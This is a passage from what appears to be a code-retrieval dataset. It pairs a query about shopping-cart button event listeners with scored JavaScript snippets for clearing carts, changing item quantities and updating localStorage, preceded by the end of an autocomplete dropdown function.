+ brandName + '</span><span class=\"pull-right\" >'+distanceText+'km</a></li>';\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// \n\t\t\t\tnewData += '</ul>';\n\t\t\t\t//console.log(newData);\n\t\t\t\tdisplay($,newData,acResultsId,acResultsDiv,acSearchField,\"false\");\n\t\t\t\ton_click_autoComplete_link();\n\t\t\t}\n\t\t\telse \n\t\t\t{\n\t\t\t\tclearAutoComplete(acResultsDiv);\n\t\t\t}\n\t\t}\n\t\telse if(field_id == \"listings-search-zip\" || field_id.indexOf(\"custom_pc\") >=0 )\n\t\t{\n\t\t\t//console.log(json['city'].length);\n\t\t\tvar ansLength = json['city'].length;\n\t\t\t\t\t\n\t\t\t// if there are results populate the results div\n\t\t\tif(ansLength > 0)\n\t\t\t{\n\t\t\t\tvar newData = '';\n\t\t\t\tnewData += '<ul class=\"dropdown-menu\" role=\"menu\" aria-labelledby=\"dLabel\" style=\"display:block\">';\n\t\t\t\tif(field_id.indexOf(\"mobile\")>=0)\n\t\t\t\t{\n\t\t\t\t\t// create a div for each result\n\t\t\t\t\tfor(i=0; i < json['city'].length; i++) \n\t\t\t\t\t{\n\t\t\t\t\t\tif(i == 0)\n\t\t\t\t\t\t\tnewData += '<li id=\"cell-'+(count++)+'-' + json['pc'][i] + '\" class=\"unselected\" value=\"' + json['pc'][i] + '\"><a class=\"select-city\" tabindex=\"-1\" href=\"#\" class=\"wordwrap-mobile\">' + json['city'][i] + '</a></li>';\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tnewData += '<li id=\"cell-'+(count++)+'-' + json['pc'][i] + '\" class=\"unselected\" value=\"' + json['pc'][i] + '\"><a class=\"select-city\" tabindex=\"-1\" href=\"#\" class=\"wordwrap-mobile\">' + json['city'][i] + '</a></li>';\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t// create a div for each result\n\t\t\t\t\tfor(i=0; i < json['city'].length; i++) \n\t\t\t\t\t{\n\t\t\t\t\t\tif(i == 0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tnewData += '<li class=\"disabled\"><a tabindex=\"-1\" href=\"#\" >' + 'Select from list' + '</a></li>';\n\t\t\t\t\t\t\tnewData += '<li id=\"cell-'+(count++)+'-' + json['pc'][i] + '\" class=\"unselected\" value=\"' + json['pc'][i] + '\"><a class=\"select-city\" tabindex=\"-1\" href=\"#\">' + json['city'][i] + '</a></li>';\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tnewData += '<li id=\"cell-'+(count++)+'-' + json['pc'][i] + '\" class=\"unselected\" value=\"' + json['pc'][i] + '\"><a class=\"select-city\" tabindex=\"-1\" href=\"#\">' + json['city'][i] + '</a></li>';\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tnewData += '</ul>';\n\t\t\t\t// console.log(newData);\n\t\t\t\tdisplay($,newData,acResultsId,acResultsDiv,acSearchField,\"true\");\n\t\t\t\ton_click_city_link();\n\t\t\t}\n\t\t\telse \n\t\t\t{\n\t\t\t\tclearAutoComplete(acResultsDiv);\n\t\t\t}\n\t\t}\n\t});\n\n\tfunction on_click_autoComplete_link()\n\t{\n\t\t$('.autoComplete-link').click(function(event){\n\t\t\tif(event){\n\t\t\t\tevent.preventDefault();\n\t\t\t\tevent.stopImmediatePropagation();\n\t\t\t}\n\n\t\t\tvar attr = $(this).attr('places');\n\t\t\tif (typeof attr !== typeof undefined && attr !== false) {\n\t\t\t\ttop.switchToTab = 'places';\n\t\t\t}\t\t\t\n\n\t\t\tvar s = $(this).parent().attr('value');\n\t\t\t$(\"#listings-search-value\").val(s);\n\n\t\t\tif($(\"#listing-search-form\").attr('action') == '')\n\t\t\t{\n\t\t\t\t$(\".nearest-search-submit\").click();\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$(\"#listing-search-form\").submit();\n\t\t\t}\n\t\t});\n\t\t$('.hashtag-link').click(function(){\n\t\t\tvar p = $(this).parent()\n\t\t\tvar s = p.attr('value');\n\t\t\tvar id = p.data(\"id\");\n\t\t\t$(\"#listings-search-value\").val(s);\n\t\t\titemlinkAction({'id':id,'itemType':'business'},event);\n\t\t\treturn false;\n\t\t});\n\t}\n\n\tfunction on_click_city_link()\n\t{\n\t\t$('.select-city').click(function(event){\n\t\t\tif(event){\n\t\t\t\tevent.preventDefault();\n\t\t\t\tevent.stopImmediatePropagation();\n\t\t\t}\n\t\t\tvar s = $(this).parent().attr('value');\n\t\t\t$(\"#\" + field_id ).val(s);\n\t\t\t$(\"#dropdown-postalcode\").submit();\n\t\t\t$('button#setpc').click();\n\t\t});\n\t}\n}", "title": "" } ]
58d7c7f824eb85f425882b570281395e
Method EventListener for "clear cart" button and Bubble EventListener for buttons(increase, decrease, remove) of individual cart items currently in the cart.
[ { "docid": "cebd1b645fe55708d5ee0933266d6d3e", "score": "0.75825727", "text": "cartLogic(){\n // <<<<<<<<<<<<<< Occur on Button click (AKA Main Method) >>>>>>>>>>>>>>>\n // EventListener for \"clear cart\" button\n clearCartBtn.addEventListener(\"click\", ()=>{ // clear entire cart and make needed update when the \"clear cart button\" is clicked\n this.clearCart(); // Calls below \"clearCart\" method on click of clear cart botton\n });\n\n // <<<<<<<<<<<<<< Occur on Button click (AKA Main Method) >>>>>>>>>>>>>>>\n // \"Bubble EventListener\" for buttons(increase, decrease, remove) of individual cart items currently in the cart.\n cartContent.addEventListener(\"click\", event => { // Targets all buttons with the \"cart-content\" HTML tag\n //Remove\n if (event.target.classList.contains(\"remove-item\")){ // If \"remove-item\" class/ button gets clicked do the below. \"event\" \"target\" and \"classList\" all aid in pin pointing the exact class(a tag's attribute) of the button clicked/ triggered by the user\n let removeItem = event.target; // Saves info of button clicked, into new \"removeItem\" variable.\n let id = removeItem.dataset.id; // Gets the \"id\" of butten clicked and saves it into new \"id\" variable.\n cartContent.removeChild(removeItem.parentElement.parentElement); // Removes cart Item from \"Dom\"(AKA HTML display). Done in an inside div to Outside div manner, starting for the \"remove-item\" and then it's two parent divs which are currently holding it. {parent divs are: \"div\" & \"cart-item\"}\n this.removeItem(id); // Removes cart Item from \"local storage\" and updates totals. Done by calling the \"removeItem\" method in class and passing the above specific \"id\" to the method.\n }\n //Increase\n else if(event.target.classList.contains(\"fa-chevron-up\")){ // If \"fa-chevron-up\" class/ button gets clicked do the below. \"event\" \"target\" and \"classList\" all aid in pin pointing the exact class(a tag's attribute) of the button clicked/ triggered by the user\n let addAmount = event.target; // Saves info of butten clicked, into new \"addAmount\" variable.\n let id = addAmount.dataset.id; // Gets the \"id\" of button clicked and saves it into new \"id\" variable.\n let tempItem = cart.find(item => item.id === id); // sync above \"id\" to it's \"id\" in cart\n tempItem.amount = tempItem.amount + 1; // Update(Increases) the amount attribute of that particular item in the \"cart\" array (in local storage)\n Storage.saveCart(cart); // Saves above \"cart\" array update to local storage to ensure data isn't lost when the page is refreshed (Done by passing updated \"cart\" array into the \"saveCart\" method of the \"Storage\" class)\n this.setCartValues(cart); // Updates cart totals {price & Cart icon in nav bar} (Done by passing updated \"cart\" array into the \"setCartValues\" method of this class)\n addAmount.nextElementSibling.innerText = tempItem.amount; // Updates HTML display of amount. \"nextElementSibling\" -> Triverses to the next sub tag within the main tag (starts from \"fas fa-chevron-up\"{aka \"addAmount\"} tag & stops at \"item-amount\" tag ) || \"innerText\" -> changes HTML text || tempItem.amount-> holds updated amount's value\n }\n //Decrease\n else if(event.target.classList.contains(\"fa-chevron-down\")){ // If \"fa-chevron-down\" class/ button gets clicked do the below. \"event\" \"target\" and \"classList\" all aid in pin pointing the exact class(a tag's attribute) of the button clicked/ triggered by the user\n let lowerAmount = event.target; // Saves info of butten clicked, into new \"lowerAmount\" variable.\n let id = lowerAmount.dataset.id; // Gets the \"id\" of button clicked and saves it into new \"id\" variable.\n let tempItem = cart.find(item => item.id === id); // sync above \"id\" to it's \"id\" in cart\n tempItem.amount = tempItem.amount - 1; // Update(Decrease) the amount attribute of that particular item in the \"cart\" array (in local storage)\n if (tempItem.amount > 0){ // While Amount is more than 0 do the below \n Storage.saveCart(cart); // Saves above \"cart\" array updates to local storage. This ensure data isn't lost when the page is refreshed (Done by passing updated \"cart\" array into the \"saveCart\" method of the \"Storage\" class)\n this.setCartValues(cart); // Updates cart totals {price & Cart icon in nav bar} (Done by passing updated \"cart\" array into the \"setCartValues\" method of this class)\n lowerAmount.previousElementSibling.innerText = tempItem.amount; // Updates HTML display of \"amount\". \"nextElementSibling\" -> Triverses to the next sub tag within the main tag (starts from \"fas fa-chevron-up\"{aka \"addAmount\"} tag & stops at \"item-amount\" tag ) || \"innerText\" -> changes HTML text || tempItem.amount-> holds updated amount's value\n } else { // When Amount is reduced to 0 do the below\n cartContent.removeChild(lowerAmount.parentElement.parentElement); // Removes cart Item from \"Dom\"(AKA HTML display). Done in an inside div to Outside div manner, starting for the \"remove-item\" and then it's two parent divs which are currently holding it. {parent divs are: \"div\" & \"cart-item\"}\n this.removeItem(id); // Removes cart Item from \"local storage\" and updates totals. Done by calling the \"removeItem\" method in class and passing the above specific \"id\" to the method.\n }\n }\n });\n }", "title": "" } ]
[ { "docid": "49bd78155920cbaa96c9905736ec9030", "score": "0.7381544", "text": "cartUpdateLogic() {\n // to clear all the items in the cart\n clearCartBtn.addEventListener(\"click\", () => {\n const cartItemIds = cart.map((item) => {\n return item.id;\n });\n cartItemIds.forEach((id) => {\n this.removeCartItem(id);\n });\n while (cartContent.children.length > 0) {\n cartContent.removeChild(cartContent.children[0]);\n }\n DisplayCart.hideCart();\n });\n\n // to remove a single item using \"remove\" button &\n // to increase the quantity using \"up\" arrow button &\n // to decrease the quantity using \"down\" arrow button\n cartContent.addEventListener(\"click\", (event) => {\n if (event.target.classList.contains(\"remove-item\")) {\n const id = event.target.dataset.id;\n this.removeCartItem(id);\n cartContent.removeChild(event.target.parentElement.parentElement);\n } else if (event.target.classList.contains(\"fa-chevron-up\")) {\n const id = event.target.dataset.id;\n const selectedItem = cart.find((cartItem) => {\n return cartItem.id === id;\n });\n selectedItem.quantity += 1;\n DisplayCart.getCartValues(cart);\n Storage.addCartLocal(cart);\n event.target.nextElementSibling.innerText = selectedItem.quantity;\n } else if (event.target.classList.contains(\"fa-chevron-down\")) {\n const id = event.target.dataset.id;\n const selectedItem = cart.find((cartItem) => {\n return cartItem.id === id;\n });\n selectedItem.quantity = selectedItem.quantity - 1;\n if (selectedItem.quantity > 0) {\n Storage.addCartLocal(cart);\n DisplayCart.getCartValues(cart);\n event.target.previousElementSibling.innerText = selectedItem.quantity;\n } else {\n this.removeCartItem(id);\n cartContent.removeChild(event.target.parentElement.parentElement);\n if (cartContent.children.length < 1) {\n DisplayCart.hideCart();\n }\n }\n }\n });\n }", "title": "" }, { "docid": "2f8250f3a395753f4821e185f97f5b13", "score": "0.7341182", "text": "clearCart(){\n let cartItems = cart.map(item => item.id); // Getting id(s) of items in cart. Accessing \"cart\" Array(local storage), retrieving individual id of cart items and store that in \"cartItems\" variable/ array\n cartItems.forEach(id => this.removeItem(id)); // Pass id(s) to a method that removes items in cart. loop over \"id\"(s) in \"cartItems\"(above variable) and run \"removeItem()\" method {& pass \"id\"(s)} {Using For loop to allow for both specific item removal from array as well as completely emptying out entire array at once}\n // Removes all Cart items (HTML displayed) from Cart\n while(cartContent.children.length > 0){ // Just checks if \"cartContent\" (AKA \"cart-content\" in html, div holding Cart items) has any elements in it\n cartContent.removeChild(cartContent.children[0]); // Continously removes the first element in \"cartContent\" (AKA \"cart-content\" in html, div holding Cart items) until nothing is left\n }\n this.hideCart(); // Hide cart. By running \"hideCart\" method in this class\n }", "title": "" }, { "docid": "69410b0f866f7cffb5e750377e5e98cb", "score": "0.7211966", "text": "cartLogic() {\n // When Clear Cart Button is clicked\n clearCartBtn.addEventListener('click', () => {\n this.clearCart();\n })\n\n // When Cart Content is Clicked\n cartContent.addEventListener('click', event => {\n // When remove/trash button is clicked for each item in the cart\n if (event.target.parentElement.classList.contains('remove-item')) {\n let removeItem = event.target.parentElement;\n this.removeItem(removeItem.dataset.id);\n // Clearing the cart in DOM\n cartContent.removeChild(removeItem.parentElement.parentElement);\n this.showCart();\n }\n // When Chevron-up is clicked\n else if (event.target.classList.contains('fa-chevron-up')) {\n let addAmount = event.target;\n let id = addAmount.dataset.id;\n let tempItem = cart.find(item => item.id === id);\n tempItem.amount++;\n Storage.saveCart(cart);\n this.setCartValues(cart);\n addAmount.nextElementSibling.innerText = tempItem.amount;\n }\n // When Chevron-down is clicked\n else if (event.target.classList.contains('fa-chevron-down')) {\n let subAmount = event.target;\n let id = subAmount.dataset.id;\n let tempItem = cart.find(item => item.id === id);\n if (tempItem.amount > 1) {\n tempItem.amount--;\n }\n Storage.saveCart(cart);\n this.setCartValues(cart);\n subAmount.previousElementSibling.innerText = tempItem.amount;\n }\n\n\n });\n }", "title": "" }, { "docid": "acdc813c9164f3e8ce5d748848abf08d", "score": "0.7200191", "text": "function ready() {\n\n var removeItems = document.getElementsByClassName('btn-danger-remove')\n for (var i = 0; i < removeItems.length; i++) {\n var button = removeItems[i]\n button.addEventListener('click', function (event) {\n var buttonClick = event.target\n buttonClick.parentElement.parentElement.remove()\n //updateCartTotal()\n })\n }\n// \n var quantityInputs = document.getElementsByClassName('cart-quantity-input')\n for (var i = 0; i < quantityInputs.length; i++) {\n var input = quantityInputs[i]\n input.addEventListener('change', quantityChanged)\n }\n// add to cart function - selects button by btn-warning and calls add to cart clicked\n var addToCartButtons = document.getElementsByClassName('btn-warning')\n\n for (var i = 0; i < addToCartButtons.length; i++) {\n var button = addToCartButtons[i]\n //button.value = \"selectbasicC\"\n button.addEventListener('click', addToCartClicked)\n }\n}", "title": "" }, { "docid": "c13f545ced9e3c35553c12d6d8266174", "score": "0.7177905", "text": "clearCart() {\n let cartItems = cart.map(item => item.id);\n cartItems.forEach(id => this.removeItem(id));\n // Clearing the cart in DOM\n while (cartContent.children.length > 0) {\n cartContent.removeChild(cartContent.children[0]);\n }\n // Ends here\n this.hideCart();\n }", "title": "" }, { "docid": "d9f54d267b3f8ff424099d44ac43ac37", "score": "0.7123049", "text": "function ready() {\n /*the loop below will loop through all the remove buttons inside the cart, \n add a click event to that button, which will then call the removecartitem function */\n let removeCartItembuttons = document.getElementsByClassName(\"Removebtn\");\n for (i = 0; i < removeCartItembuttons.length; i++) {\n let button = removeCartItembuttons[i];\n button.addEventListener(\"click\", removecartitem);\n }\n /*the loop below will loop through all the input value inside\n the cart, and a change event is added, which will call the quantitychanged function*/\n let quantityinputs = document.getElementsByClassName(\"cart-quantity-input\");\n for (i = 0; i < quantityinputs.length; i++) {\n let input = quantityinputs[i];\n input.addEventListener(\"change\", quantitychanged);\n }\n}", "title": "" }, { "docid": "03ffc38198e427a8ceb9f89ed9c4cd0c", "score": "0.7109255", "text": "cartLogic(){\r\n //clear all the items in the cart\r\n clearCartButton.addEventListener( 'click' , () => {\r\n this.clearCart();\r\n });\r\n //card funtionality- cancel each item , increase individual item count one up , decrease individual item count one down\r\n cartContent.addEventListener('click' , event => {\r\n if(event.target.classList.contains('remove-item')){\r\n let removeItem = event.target;\r\n let id = removeItem.dataset.id;\r\n cartContent.removeChild(removeItem.parentElement.parentElement);\r\n this.removeItem(id);\r\n }\r\n else if(event.target.classList.contains('fa-chevron-up')) {\r\n let addCount = event.target;\r\n let id = addCount.dataset.id;\r\n let tempItem = cart.find(item => item.id === id);\r\n tempItem.count = tempItem.count + 1;\r\n Storage.saveCart(cart);\r\n this.setCartValues(cart);\r\n addCount.nextElementSibling.innerText = tempItem.count;\r\n }\r\n else if(event.target.classList.contains('fa-chevron-down')) {\r\n let lowerCount = event.target;\r\n let id = lowerCount.dataset.id;\r\n let tempItem = cart.find(item => item.id === id);\r\n tempItem.count = tempItem.count - 1;\r\n if(tempItem.count >0){\r\n Storage.saveCart(cart);\r\n this.setCartValues(cart);\r\n lowerCount.previousElementSibling.innerText = tempItem.count;\r\n }\r\n else{\r\n cartContent.removeChild(lowerCount.parentElement.parentElement);\r\n this.removeItem(id);\r\n }\r\n }\r\n });\r\n }", "title": "" }, { "docid": "78156789365b7853ca79bf625a913e9c", "score": "0.7072722", "text": "function addToCartFunction () {\n var add_to_cart_buttons = document.getElementsByClassName('update_cart')\n\n for (var i=0; i<add_to_cart_buttons.length; i++) {\n try {\n add_to_cart_buttons[i].removeEventListener('click',updateCart);\n }\n catch(err) {\n //pass\n }\n add_to_cart_buttons[i].addEventListener('click',updateCart);\n }\n}", "title": "" }, { "docid": "78156789365b7853ca79bf625a913e9c", "score": "0.7072722", "text": "function addToCartFunction () {\n var add_to_cart_buttons = document.getElementsByClassName('update_cart')\n\n for (var i=0; i<add_to_cart_buttons.length; i++) {\n try {\n add_to_cart_buttons[i].removeEventListener('click',updateCart);\n }\n catch(err) {\n //pass\n }\n add_to_cart_buttons[i].addEventListener('click',updateCart);\n }\n}", "title": "" }, { "docid": "4fd3a1a4adc80cb4cd82fe0487ad4452", "score": "0.7011766", "text": "function ready() {\r\n let removeCartItemButtons = document.getElementsByClassName('btn-danger')\r\n for (let i = 0; i < removeCartItemButtons.length; i++) {\r\n let button = removeCartItemButtons[i]\r\n button.addEventListener('click', removeCartItem)//whenever this button is clicked, items will be removed from the cart\r\n }\r\n // below: when the quantity changes, the total gets updated\r\n let quantityInputs = document.getElementsByClassName('cart-quantity-input')\r\n for (let i = 0; i < quantityInputs.length; i++) {\r\n let input = quantityInputs[i]\r\n input.addEventListener('change', quantityChanged)\r\n }\r\n\r\n let addToCartButtons = document.getElementsByClassName('shop-item-button')\r\n for (let i = 0; i < addToCartButtons.length; i++) {\r\n let button = addToCartButtons[i]\r\n button.addEventListener('click', addToCartClicked)\r\n }\r\n\r\n document.getElementsByClassName('btn-purchase')[0].addEventListener('click', purchaseClicked)//this allows for the purchase button to be functional\r\n}", "title": "" }, { "docid": "40c81a2b74eec62383056afc6023a0c3", "score": "0.69370216", "text": "function setupCartFunctionality() {\n cartItemsDOM.addEventListener(\"click\", function (e) {\n const element = e.target;\n const parent = e.target.parentElement;\n const id = element.dataset.id;\n const parentID = parent.dataset.id;\n\n // remove\n if (element.classList.contains(\"cart-item-remove-btn\")) {\n removeItem(id);\n parent.parentElement.remove();\n }\n // decrease\n if (parent.classList.contains(\"cart-item-decrease-btn\")) {\n const newAmount = decreaseAmount(parentID);\n if (newAmount === 0) {\n removeItem(parentID);\n parent.parentElement.parentElement.remove();\n } else {\n parent.previousElementSibling.textContent = newAmount;\n }\n }\n // increase\n if (parent.classList.contains(\"cart-item-increase-btn\")) {\n const newAmount = increaseAmount(parentID);\n parent.nextElementSibling.textContent = newAmount;\n }\n\n displayCartItemCount();\n displayCartTotal();\n setStorageItem(\"cart\", cart);\n });\n}", "title": "" }, { "docid": "070e6411b0d0c47eb00222bbb1504a54", "score": "0.6925004", "text": "removeItem(id){\n cart = cart.filter(item => item.id !== id); // This returns an array consisting of id(s) in the cart which were NOT sent from the \"clearCart\" method\n //console.log(cart); \n this.setCartValues(cart); // Updates cart values (price and item counter). Done by passing the new \"cart\" array into the \"setCartValues\" method in this class\n Storage.saveCart(cart); // Updates/Overrides the contents of \"cart\" array in local storage with our new \"cart\" array. Done by passing the new \"cart\" array into the \"saveCart\" method of the \"Storage\" class\n let button = this.getSingleButton(id); // Get a particular Button based on its item id. Done by passing item \"id\" into the \"getSingleButton\" method in this class\n // \"button\" variable is now holding individual product button into, thanks to above line\n button.disabled = false; // Enables individual product button (was disabled when item was added to cart)\n button.innerHTML = `<i class=\"fas fa-shopping-cart p-2\"></i>Add To Cart`; // Updates HTML on individual product button (text was change and icon removed when item was added to cart)\n }", "title": "" }, { "docid": "b3f5c9b9311495c1b8b454a898d3c8d7", "score": "0.691367", "text": "function cartInitialization() {\n \n updateBadgeIcon(0);\n\n clearCart.onclick = () => {\n localStorage.clear();\n cart.items = [];\n cart.subtotal = 0;\n updateBadgeIcon(0);\n displayCartItems(cart);\n localStorage.setItem(\"cartIsEmpty\", \"true\");\n cart.isEmpty = true;\n cart.customer = [];\n cart.orderId = \"\";\n\n for (let buttonId of buttonsIdList) {\n switchButton(\"off\", buttonId);\n }\n }\n}", "title": "" }, { "docid": "7fd8065a4941098b93163703f5bc51c5", "score": "0.6906112", "text": "function clearCart() {\n let cartItems = cart.map(item => item.id);\n cartItems.forEach(id => removeItem(id))\n while (cartContent.children.length > 0) {\n cartContent.removeChild(cartContent.children[0])\n }\n hideCart();\n }", "title": "" }, { "docid": "6059db4482560b43c646300b04a34c72", "score": "0.68838197", "text": "clearCart(){\n this.total = 0;\n this.items = {}\n }", "title": "" }, { "docid": "d8e208c20a3bb760e987fc30bdc3d67b", "score": "0.6865578", "text": "function clearCart(){\r\n cart = [];\r\n}", "title": "" }, { "docid": "34bf57a5b69d9a57026f3f3ddbba30da", "score": "0.68364596", "text": "function clearCart() {\n cart = [];\n saveCart();\n }", "title": "" }, { "docid": "cf70c7e792598fd10f5045967bb814cf", "score": "0.6830007", "text": "function clearCart(){\r\n //empty the cart\r\n cart.empty();\r\n //update cart\r\n showCart();\r\n}", "title": "" }, { "docid": "4a53ff5a1d1fb793e793b23f8af51f02", "score": "0.682128", "text": "function addEvents() {\n // Add all buttons with \"btn-flat\" in an array...\n var buttonArray = document.getElementsByClassName('btn-flat');\n var buttonDecreaseArray = document.getElementsByClassName('decrease');\n var buttonIncreaseArray = document.getElementsByClassName('increase');\n\n // -------------------------------------------------------------------------\n // Remove - For each button in the array...\n for (i = 0; i < buttonArray.length; i++) {\n\n // Listen for a click event and call the remove function...\n if (document.addEventListener) {\n buttonArray[i].addEventListener(\"click\", removeItem);\n } else if (document.attachEvent) {\n buttonArray[i].attachEvent(\"onclick\", removeItem);\n }\n\n // Remove item from localStorage cart...\n function removeItem(e) {\n // Store the id of the button (same as id in localStorage) in a variable\n let myItem = e.target.id;\n\n // Remove selected item (based on key name) from localStorage\n localStorage.removeItem(`${myItem}`);\n // Refresh page to properly update the shopping cart table\n location.reload();\n }\n }\n // -------------------------------------------------------------------------\n // Decrease quantityDiv\n for (i = 0; i < buttonDecreaseArray.length; i++) {\n\n // Listen for a click event and call the remove function...\n if (document.addEventListener) {\n buttonDecreaseArray[i].addEventListener(\"click\", decreaseQty);\n } else if (document.attachEvent) {\n buttonDecreaseArray[i].attachEvent(\"onclick\", decreaseQty);\n }\n\n // Decrease quantity for the selected item from localStorage cart...\n function decreaseQty(e) {\n\n let myItem = e.target.parentNode.nextSibling.nextSibling.nextSibling.nextSibling.firstChild.id;\n let cartQty = JSON.parse(localStorage.getItem(myItem)).cantitate;\n let obj = JSON.parse(localStorage.getItem(myItem)).cantitate-1;\n\n let itemName = JSON.parse(localStorage.getItem(myItem)).nume;\n let itemPrice = JSON.parse(localStorage.getItem(myItem)).pret;\n let itemQty = obj;\n\n let decQty = {\n \"nume\":itemName,\n \"pret\":itemPrice,\n \"cantitate\":itemQty\n };\n\n localStorage.setItem(`${myItem}`, JSON.stringify(decQty));\n // Refresh page to properly update the shopping cart table\n location.reload();\n }\n }\n // -------------------------------------------------------------------------\n // Increase quantityDiv\n for (i = 0; i < buttonIncreaseArray.length; i++) {\n\n // Listen for a click event and call the remove function...\n if (document.addEventListener) {\n buttonIncreaseArray[i].addEventListener(\"click\", increaseQty);\n } else if (document.attachEvent) {\n buttonIncreaseArray[i].attachEvent(\"onclick\", increaseQty);\n }\n\n // Decrease quantity for the selected item from localStorage cart...\n function increaseQty(e) {\n let obj = 0;\n\n let myItem = e.target.parentNode.nextSibling.nextSibling.nextSibling.nextSibling.firstChild.id;\n let cartQty = Number(JSON.parse(localStorage.getItem(myItem)).cantitate);\n obj = cartQty+1;\n\n let itemName = JSON.parse(localStorage.getItem(myItem)).nume;\n let itemPrice = JSON.parse(localStorage.getItem(myItem)).pret;\n let itemQty = obj;\n\n let incQty = {\n \"nume\":itemName,\n \"pret\":itemPrice,\n \"cantitate\":itemQty\n };\n\n localStorage.setItem(`${myItem}`, JSON.stringify(incQty));\n // Refresh page to properly update the shopping cart table\n location.reload();\n }\n }\n}", "title": "" }, { "docid": "2d6c7af05a631eeb2cf3c3e989ff5776", "score": "0.6820516", "text": "function addListeners(){\n $(\".delete-btn\").click(function(){\n var uid = $(this).attr(\"data-uid\");\n if (uid) {\n var cart = getCartFromStorage();\n cart = cart.filter( x => x.uid !== uid);\n saveCartToStorage(cart);\n $(`[data-item-uid=\"${uid}\"]`).remove();\n renderCartPrice();\n renderCartBadge();\n }\n });\n }", "title": "" }, { "docid": "f6f4146cf3b0976b66cbe99e358a7eec", "score": "0.68017703", "text": "function onEmptyCart() {\n var $cart_items = $(shopAnalytics.cart.elements.product);\n shopAnalytics.updateCartItemsQuantity($cart_items);\n removeProductsFromCart($cart_items);\n }", "title": "" }, { "docid": "9527694c2725a1c7a708956fa7e7485e", "score": "0.67955905", "text": "function ready() {\n var removeCartItemButtons = document.getElementsByClassName('btn-danger')\n for (var i = 0; i < removeCartItemButtons.length; i++) {\n var button = removeCartItemButtons[i]\n button.addEventListener('click', removeCartItem)\n }\n\n /* QuantityInputs is to be able change the amount of items in the shopping cart, such as 10 headsets or 10 speakers. */\n var quantityInputs = document.getElementsByClassName('cart-quantity-input')\n for (var i = 0; i < quantityInputs.length; i++) {\n var input = quantityInputs[i]\n input.addEventListener('change', quantityChanged)\n }\n /* AddToCartButtons is to add items to the shopping cart*/\n var addToCartButtons = document.getElementsByClassName('shop-item-button')\n for (var i = 0; i < addToCartButtons.length; i++) {\n var button = addToCartButtons[i]\n button.addEventListener('click', addToCartClicked)\n }\n\n document.getElementsByClassName('btn-purchase')[0].addEventListener('click', purchaseClicked)\n}", "title": "" }, { "docid": "e93681beac3f17dc2734bd18b6e21e59", "score": "0.6759943", "text": "function clearCart(){\n\tproductsInCart = {\n\t\t\"ramen\" : 0,\n\t\t\"carrot\" : 0,\n\t\t\"walnuts\" : 0,\n\t\t\"brocoli\" : 0,\n\t\t\"bread\" : 0,\n\t\t\"pistachio\" : 0,\n\t\t\"yogurt\" : 0,\n\t\t\"almond\" : 0,\n\t\t\"milk\" : 0,\n\t\t\"salmon\" : 0,\n\t\t\"chicken nugget\" : 0,\n\t};\n\tpopulateListProductChoices();\n\tselectedItems();\n}", "title": "" }, { "docid": "a65f075a039f9d3b570409785f90b152", "score": "0.6704996", "text": "getCartBtns(){\r\n const addCartBtns = [...document.querySelectorAll('.addcartbtn')];\r\n buttonsDOM = addCartBtns;\r\n // for each button check whether the item associated with the button was added to the cart using id of the product \r\n // if else add an event listener to the button to check for click event\r\n buttonsDOM.forEach( button =>{\r\n let id = button.dataset.id;\r\n let inCart = cart.find(item => item.id === id);\r\n if(inCart){\r\n button.innerText = \"in cart\";\r\n button.disabled = true;\r\n }\r\n button.addEventListener('click' , event => {\r\n event.target.innerText = \"in cart\";\r\n event.target.disabled = true;\r\n //get the added product from products\r\n let cartItem = {...Storage.getProduct(id) , count: 1};\r\n //add each product to the cart\r\n cart = [...cart,cartItem];\r\n // console.log(cart);\r\n //save cart in local storage\r\n Storage.saveCart(cart);\r\n //set cart values(total amount of items and total items on nav)\r\n this.setCartValues(cart);\r\n //display cart items on cart\r\n this.addCartItem(cartItem);\r\n });\r\n });\r\n }", "title": "" }, { "docid": "88a930d24d71eb1e5cf5ffba0183d3a6", "score": "0.6694468", "text": "function clearCart() {\n resetAddToCartToButton();\n localStorage.setItem(\"cart_items\", JSON.stringify([]));\n $(\"#finishRatingButton\").show();\n $(\"#checkoutButton\").show();\n if (getCartItems().length < 1) {\n $(\"#checkoutButton\").hide();\n $(\"#finishRatingButton\").hide();\n }\n getCartContent();\n}", "title": "" }, { "docid": "b08e28765543e69fb51a85ef5666ccae", "score": "0.66915417", "text": "function clearCart(){\n cart = [];\n saveCart();\n}", "title": "" }, { "docid": "a61ca9b34960eb15a82493b24033c04f", "score": "0.6680838", "text": "function clearCart (){\n setCart([]);\n getTotalPrice (0);\n getTotalQ(0);\n localStorage.clear();\n }", "title": "" }, { "docid": "095051024726d1be705689b19cfd7314", "score": "0.6680623", "text": "function removeCartItem(event) {\n //.target targets the button that was clicked on\n var buttonClicked = event.target\n //gets cart-quantity div(.parentElement) and cart-row div(.parentElement.parentElement)\n //then removes cart-row\n buttonClicked.parentElement.parentElement.remove()\n // total is updated as row is removed\n updateCartTotal()\n}", "title": "" }, { "docid": "ced12b20a86885ac446076b118053184", "score": "0.6658708", "text": "function removeCartItem(event) {\n var buttonClicked = event.target\n buttonClicked.parentElement.parentElement.remove()\n updateCartTotal()\n}", "title": "" }, { "docid": "572e82e85275e123ec513ba33c303af8", "score": "0.66502124", "text": "function removeCartItem(event) \n {\n var buttonClicked = event.target\n buttonClicked.remove();\n calcTotal();\n }", "title": "" }, { "docid": "3260eef34077605f24ea91e0b8cae994", "score": "0.6639396", "text": "function removeCartItem (event) {\n var buttonClicked = event.target;\n buttonClicked.parentElement.parentElement.remove();\n\n updateCartTotal ();\n\n // Update Cart Icon\n count--;\n document.getElementById(\"cartspan\").innerText = count;\n}", "title": "" }, { "docid": "06d5f7ad6b5b1f5c2cddc749f17ef505", "score": "0.663606", "text": "function refreshCart() {\n cartSide.innerHTML = \"\";\n cartSide.style.display = \"flex\";\n if (cart.size === 0) {\n closeCart();\n } else {\n cartOpen = true;\n cart.forEach(function ([element, count], _) {\n //every added product is accompanied by a bin option to remove them from the cart\n const clear = document.createElement(\"a\");\n clear.innerText = \"\";\n clear.addEventListener(\"click\", function () {\n if (cart.get(element.id)[1] > 1) {\n cart.set(element.id, [element, cart.get(element.id)[1] - 1]);\n } else {\n cart.delete(element.id);\n }\n refreshCart();\n });\n clear.setAttribute;\n const image = 